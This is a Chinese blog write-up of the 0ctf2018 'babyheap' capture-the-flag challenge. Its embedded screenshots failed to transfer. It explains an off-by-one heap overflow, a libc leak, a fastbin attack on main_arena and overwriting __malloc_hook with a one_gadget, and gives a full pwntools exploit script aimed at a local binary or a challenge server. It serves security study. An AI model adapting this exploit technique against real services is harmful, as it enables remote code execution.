题目 : 0ctf2018_babyheap
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SXbGbbX4-1643016068043)(off-by-one(babyheap)].assets/image-20220124150359470.png)](https://i-blog.csdnimg.cn/blog_migrate/b7d13e320e61ac394841ba544a1d7df5.png)
分析
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RNQGAaWb-1643016068044)(off-by-one(babyheap)].assets/image-20220124151049918.png)](https://i-blog.csdnimg.cn/blog_migrate/1f557595b790b03bae2ef1ed878da6a7.png)
add:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9hRJbCxU-1643016068045)(off-by-one(babyheap)].assets/image-20220124151128227.png)](https://i-blog.csdnimg.cn/blog_migrate/8f1d6263aca9f1dab40dd8dc70db46c1.png)
edit:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RmRKQGYf-1643016068045)(off-by-one(babyheap)].assets/image-20220124151319530.png)](https://i-blog.csdnimg.cn/blog_migrate/0d366ffb4521ab240c62293b6aa43a25.png)
dele
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-osYk4DoH-1643016068046)(off-by-one(babyheap)].assets/image-20220124151340980.png)](https://i-blog.csdnimg.cn/blog_migrate/ddafb7bfef7e1811e3bbc140d49035b3.png)
show
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ec7kzaM9-1643016068046)(off-by-one(babyheap)].assets/image-20220124151356961.png)](https://i-blog.csdnimg.cn/blog_migrate/c213b5e40bebf10bf64054e0336ff4bd.png)
因此程序保护较完善,且只能malloc最大值为0x58,参加的uaf漏洞也关闭了,那么这题还是有个off-by-one漏洞但足以致命,解题思路:—> 泄露libc —> 修改main_arena中的topchunk指针为__malloc_hook处 —> 申请一个chunk则是_malloc_hook写入one_gadget —> getshell
利用堆重叠进行libc泄露,首先留1字节空间以备后面溢出
#------------leak libc----------------
add(0x48) #chunk1 #要保存free后会进入0x50的fast bin便于后面在main_arena处构造fakechunk
add(0x48) #chunk2
add(0x48) #chunk3
add(0x20) #chunk4
edit(1,b'A'*0x48 +p8 (0xa1)) #合并chunk2 chunk3
dele(2) #放入unsort bin
add(0x48) #chunk2 #使chunk3变成last_remainder
show(3)
ru('Chunk[2]: ')
libc_base = uu64(rc(6)) - (0x7f4e22570b78-0x7f4e221ad000)
顺带输出main_arena和malloc_hook地址
malloc_hook = libc_base + libc.symbols['__malloc_hook']
main_arena = malloc_hook + 0x10
success('arena',main_arena )
success('hook',malloc_hook )
通过fast bin attack在main_arena处获得控制权
#------------fast bin attack----------------
add(0x48) #chunk3 chunk5贡献一块chunk
dele(5) #将chunk5放入fast bin
edit(3,p64(main_arena+0x25)) #修改它的fd指针
add(0x48) #chunk5
但是当malloc2次拿到fake chunk后会报错,因为main_arena+0x20刚好是fastbinY数组用于存放fast bin中的chunk,在经过malloc一次后改位置处指向的是main_arena+0x25处的地址,如图所示:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kTidxcZW-1643016068047)(off-by-one(babyheap)].assets/image-20220124164431819.png)](https://i-blog.csdnimg.cn/blog_migrate/9c9995981764926fe694e47cdd86c2f9.png)
所以就需要使fast bin中在存在一个chunk然后指向这个fast bin中的chunk
修改exp:
#------------fast bin attack----------------
add(0x48) #chunk3 chunk5
dele(5)
edit(3,p64(main_arena+0x25))
add(0x50) #chunk5 用于在main_arena+0x25处构造fake chunk
dele(5) #free 后则会进入main_arena处
add(0x48) #chunk5
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-64uDC2TK-1643016068047)(off-by-one(babyheap)].assets/image-20220124164633194.png)](https://i-blog.csdnimg.cn/blog_migrate/db4a03fede25610e94c8fa710f746c06.png)
之后即可成功拿到fakechunk,修改topchunk地址,并将one_gadget写入到__malloc_hook
add(0x48) #chunk6
edit(6,b'A'*0x23 + p64(malloc_hook-0x10)) #修改top_chunk的地址为__malloc_hook-0x10处
add(0x10) #随便申请一个chunk
edit(7,p64(libc_base + one[1])) #在__malloc_hook写入one_gadger
add(0x10) # getshell
因为程序开启了pie所以堆地址是随即的,那么当堆地址为0x55…时(由mmap分配)calloc()并不能成功的拿到这块fakechunk,只有当堆地址为0x56…时才可成功拿到.
最终exp(具有一定随机性,多跑两次就可以出来):
# -*-coding:utf-8 -*
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./babyheap"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
#idx = int(sys.argv[1])
def add(size):
sla('Command: ','1')
sla('Size: ',str(size))
def edit(idx,data):
sla('Command: ','2')
sla('Index: ',str(idx-1))
sla('Size: ',str(len(data)))
sla('Content: ',data)
def dele(idx):
sla('Command: ','3')
sla('Index: ',str(idx-1))
def show(idx):
sla('Command: ','4')
sla('Index: ',str(idx-1))
#------------leak libc----------------
add(0x48) #chunk1 #要保存free后会进入0x50的fast bin便于后面在main_arena处构造fakechunk
add(0x48) #chunk2
add(0x48) #chunk3
add(0x20) #chunk4
edit(1,b'A'*0x48 +p8 (0xa1)) #合并chunk2 chunk3
dele(2) #放入unsort bin
add(0x48) #chunk2 #使chunk3变成last_remainder
show(3)
ru('Chunk[2]: ')
libc_base = uu64(rc(6)) - (0x7f4e22570b78-0x7f4e221ad000)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
main_arena = malloc_hook + 0x10
success('arena',main_arena )
success('hook',malloc_hook )
#------------fast bin attack----------------
add(0x48) #chunk3 chunk5
dele(5)
edit(3,p64(main_arena+0x25))
add(0x50) #chunk5 用于在main_arena+0x25处构造fake chunk
dele(5) #free 后则会进入main_arena处
add(0x48) #chunk5
add(0x48) #chunk6
edit(6,b'A'*0x23 + p64(malloc_hook-0x10)) #修改top_chunk的地址为__malloc_hook-0x10处
add(0x10) #随便申请一个chunk
edit(7,p64(libc_base + one[1])) #在__malloc_hook写入one_gadger
add(0x10) # getshell
#------------end----------------
it()
本文介绍了解决0ctf2018_babyheap题目过程,包括利用off-by-one漏洞进行libc泄露,通过fastbin攻击获取控制权,并最终利用one_gadget获取shell的方法。
1651

被折叠的 条评论
为什么被折叠?



